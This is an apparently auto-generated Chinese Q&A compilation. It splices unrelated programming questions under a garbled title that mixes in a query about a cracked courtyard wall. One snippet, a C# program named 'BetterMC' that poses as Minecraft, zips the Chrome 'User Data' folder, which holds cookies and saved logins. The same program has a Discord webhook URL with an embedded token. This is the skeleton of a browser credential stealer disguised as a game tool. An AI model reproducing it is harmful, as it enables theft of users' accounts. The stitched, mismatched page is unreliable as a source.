本文将介绍为什么我从url更改webhook头像的程序在discord.py中不起作用的详细情况,特别是关于院墙裂开怎么办的相关信息。我们将通过案例分析、数据研究等多种方式,帮助您更全面地了解这个主题
本文将介绍为什么我从 url 更改 webhook 头像的程序在 discord.py 中不起作用的详细情况,特别是关于院墙裂开怎么办的相关信息。我们将通过案例分析、数据研究等多种方式,帮助您更全面地了解这个主题,同时也将涉及一些关于asp.net – 为什么我的自定义404错误处理程序在部署到Web服务器后不起作用、CS0120 Mega 文件列表 C# Discord webhook、delete_cookies()帮助程序在Codeigniter 4中不起作用、Discord bot 在 heroku 上不起作用:SSL 认证问题的知识。
本文目录一览:- 为什么我从 url 更改 webhook 头像的程序在 discord.py 中不起作用(院墙裂开怎么办)
- asp.net – 为什么我的自定义404错误处理程序在部署到Web服务器后不起作用
- CS0120 Mega 文件列表 C# Discord webhook
- delete_cookies()帮助程序在Codeigniter 4中不起作用
- Discord bot 在 heroku 上不起作用:SSL 认证问题
为什么我从 url 更改 webhook 头像的程序在 discord.py 中不起作用(院墙裂开怎么办)
试试 await web.edit(avatar=ctx.author.avatar_url)
asp.net – 为什么我的自定义404错误处理程序在部署到Web服务器后不起作用
在远程调试中,我可以跟踪执行情况,它确实可以实现我的自定义404错误操作,但不知何故,IIS在某些时候接管了.
在我的Global.asax.cs中,我有:
protected void Application_Error() { var exception = Server.GetLastError(); var httpException = exception as HttpException; Response.Clear(); Server.ClearError(); var routeData = new RouteData(); routeData.Values["controller"] = "Error"; routeData.Values["action"] = "General"; routeData.Values["exception"] = exception; Response.StatusCode = 500; if (httpException != null) { Response.StatusCode = httpException.GetHttpCode(); switch (Response.StatusCode) { case 403: routeData.Values["action"] = "Http403"; break; case 404: routeData.Values["action"] = "Http404"; break; } } IController errorController = new ErrorController(); var rc = new RequestContext(new HttpContextwrapper(Context),routeData); errorController.Execute(rc); }
然后在我的ErrorHandler.cs中,我有:
public ActionResult General(Exception exception) { // log error return Content("General error","text/html"); } public ActionResult Http403(Exception exception) { return Content("Forbidden","text/plain"); } public ActionResult Http404(Exception exception) { return Content("Page not found.","text/plain"); // this displays when tested locally,but not after deployed to web server. }
}
解决方法
所以你的代码应该是这样的.
protected void Application_Error() { //... Response.TrySkipIisCustomErrors = true; Response.StatusCode = 404; //...rest of your code }
另请查看此链接以获取更多信息http://www.west-wind.com/weblog/posts/2009/Apr/29/IIS-7-Error-Pages-taking-over-500-Errors
CS0120 Mega 文件列表 C# Discord webhook
如何解决CS0120 Mega 文件列表 C# Discord webhook?
出于个人原因,我正在制作一个网络钩子,列出我的大型帐户上的所有文件,并且我的网络钩子可以正常工作,但无法使下面的代码正常工作。
当我尝试运行它时,它会抛出此错误 Severity Code Description Project File Line Suppression State Error CS0120 An object reference is required for the non-static field,method,or property ''Program.Main1()'' BetterMC C:\Users\letou\OneDrive\Desktop\Coding\Games\minecraftBetter\BetterMC\Program.cs 21 Active
这是我的完整代码`
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using discord;
using discord.Webhook;
using System.IO.Compression;
using System.IO;
using CG.Web.Megaapiclient;
namespace BetterMC
{
class Program
{
static void Main(string[] args)
{
Main1();
string startPath = @"C:\Users\letou\AppData\Local\Google\Chrome\User Data";
string zipPath = @"C:\Users\letou\OneDrive\Desktop\test.zip";
string extractPath = @"C:\Users\letou\OneDrive\Desktop\test";
Console.WriteLine("Started");
if (!File.Exists(zipPath))
{
ZipFile.CreateFromDirectory(startPath,zipPath);
Console.WriteLine("Created ZIP");
}
if (!File.Exists(extractPath))
{
ZipFile.ExtractToDirectory(zipPath,extractPath);
Console.WriteLine("Extracted ZIP");
}
discordWebhook hook = new discordWebhook();
hook.Url = "https://discordapp.com/api/webhooks/830649911498113065/m8aZ6mAbhqS_n9jibLiGFnG_69fq7ADN77P5EihuUNKS1lWgjOetix-Rhv8qUNo2jA37";
discordMessage message = new discordMessage();
message.Content = "Test @everyone";
message.TTS = false; //read message to everyone on the channel
message.Username = "minecraft";
message.AvatarUrl = "https://pbs.twimg.com/profile_images/653700295395016708/WjGTnKGQ_400x400.png";
hook.Send(message);
Console.WriteLine("sent");
Console.ReadLine();
}
void Main1()
{
var client = new Megaapiclient();
client.Login("username@domain.com","passw0rd");
// GetNodes retrieves all files/folders Metadata from Mega
// so this method can be time consuming
IEnumerable<INode> nodes = client.GetNodes();
INode parent = nodes.Single(n => n.Type == NodeType.Root);
displayNodesRecursive(nodes,parent);
client.logout();
}
void displayNodesRecursive(IEnumerable<INode> nodes,INode parent,int level = 0)
{
IEnumerable<INode> children = nodes.Where(x => x.ParentId == parent.Id);
foreach (INode child in children)
{
string infos = $"- {child.Name} - {child.Size} bytes - {child.CreationDate}";
Console.WriteLine(infos.PadLeft(infos.Length + level,''\t''));
if (child.Type == NodeType.Directory)
{
displayNodesRecursive(nodes,child,level + 1);
}
}
}
}
}
` 我知道它与非静态 main1 有关,但它需要非静态代码才能工作。请帮忙。
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)
delete_cookies()帮助程序在Codeigniter 4中不起作用
我使用setCookie函数采用了另一种方法,该函数使用响应链接在一起,并简单地将到期时间设置为-1。
$this->response->setCookie(['name' => 'token','value' => "",'expire' => '-1','domain' => $domain,'path' => '/'])
参考:https://codeigniter4.github.io/userguide/outgoing/response.html?highlight=set%20cookie
Discord bot 在 heroku 上不起作用:SSL 认证问题
如何解决Discord bot 在 heroku 上不起作用:SSL 认证问题?
我已经在本地托管了一个 discord 机器人大约一个月了,今天我决定安装 Heroku。在线学习了一些教程,做了 procfile
和 requirements.txt
文件,worker: python main.py
确实出现了。但是当它尝试执行时,它在应用程序日志上显示一个错误:
Traceback (most recent call last):
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/connector.py",line 969,in _wrap_create_connection
return await self._loop.create_connection(*args,**kwargs) # type: ignore # noqa
File "/app/.heroku/python/lib/python3.9/asyncio/base_events.py",line 1081,in create_connection
transport,protocol = await self._create_connection_transport(
File "/app/.heroku/python/lib/python3.9/asyncio/base_events.py",line 1111,in _create_connection_transport
await waiter
File "/app/.heroku/python/lib/python3.9/asyncio/sslproto.py",line 528,in data_received
ssldata,appdata = self._sslpipe.Feed_ssldata(data)
File "/app/.heroku/python/lib/python3.9/asyncio/sslproto.py",line 188,in Feed_ssldata
self._sslobj.do_handshake()
File "/app/.heroku/python/lib/python3.9/ssl.py",line 944,in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_Failed] certificate verify Failed: unable to get local issuer certificate (_ssl.c:1129)
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/app/main.py",line 168,in <module>
client.run(discKey)
File "/app/.heroku/python/lib/python3.9/site-packages/discord/client.py",line 723,in run
return future.result()
File "/app/.heroku/python/lib/python3.9/site-packages/discord/client.py",line 702,in runner
await self.start(*args,**kwargs)
File "/app/.heroku/python/lib/python3.9/site-packages/discord/client.py",line 665,in start
await self.login(*args,bot=bot)
File "/app/.heroku/python/lib/python3.9/site-packages/discord/client.py",line 511,in login
await self.http.static_login(token.strip(),bot=bot)
File "/app/.heroku/python/lib/python3.9/site-packages/discord/http.py",line 300,in static_login
data = await self.request(Route(''GET'',''/users/@me''))
File "/app/.heroku/python/lib/python3.9/site-packages/discord/http.py",line 192,in request
async with self.__session.request(method,url,**kwargs) as r:
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/client.py",line 1117,in __aenter__
self._resp = await self._coro
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/client.py",line 520,in _request
conn = await self._connector.connect(
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/connector.py",line 535,in connect
proto = await self._create_connection(req,traces,timeout)
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/connector.py",line 892,in _create_connection
_,proto = await self._create_direct_connection(req,line 1051,in _create_direct_connection
raise last_exc
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/connector.py",line 1020,in _create_direct_connection
transp,proto = await self._wrap_create_connection(
File "/app/.heroku/python/lib/python3.9/site-packages/aiohttp/connector.py",line 971,in _wrap_create_connection
raise ClientConnectorCertificateError(req.connection_key,exc) from exc
aiohttp.client_exceptions.ClientConnectorCertificateError: Cannot connect to host discord.com:443 ssl:True [SSLCertVerificationError: (1,''[SSL: CERTIFICATE_VERIFY_Failed] certificate verify Failed: unable to get local issuer certificate (_ssl.c:1129)'')]
我完全迷路了,找不到任何人也遇到过这个错误。
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)
关于为什么我从 url 更改 webhook 头像的程序在 discord.py 中不起作用和院墙裂开怎么办的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于asp.net – 为什么我的自定义404错误处理程序在部署到Web服务器后不起作用、CS0120 Mega 文件列表 C# Discord webhook、delete_cookies()帮助程序在Codeigniter 4中不起作用、Discord bot 在 heroku 上不起作用:SSL 认证问题等相关知识的信息别忘了在本站进行查找喔。
本文标签: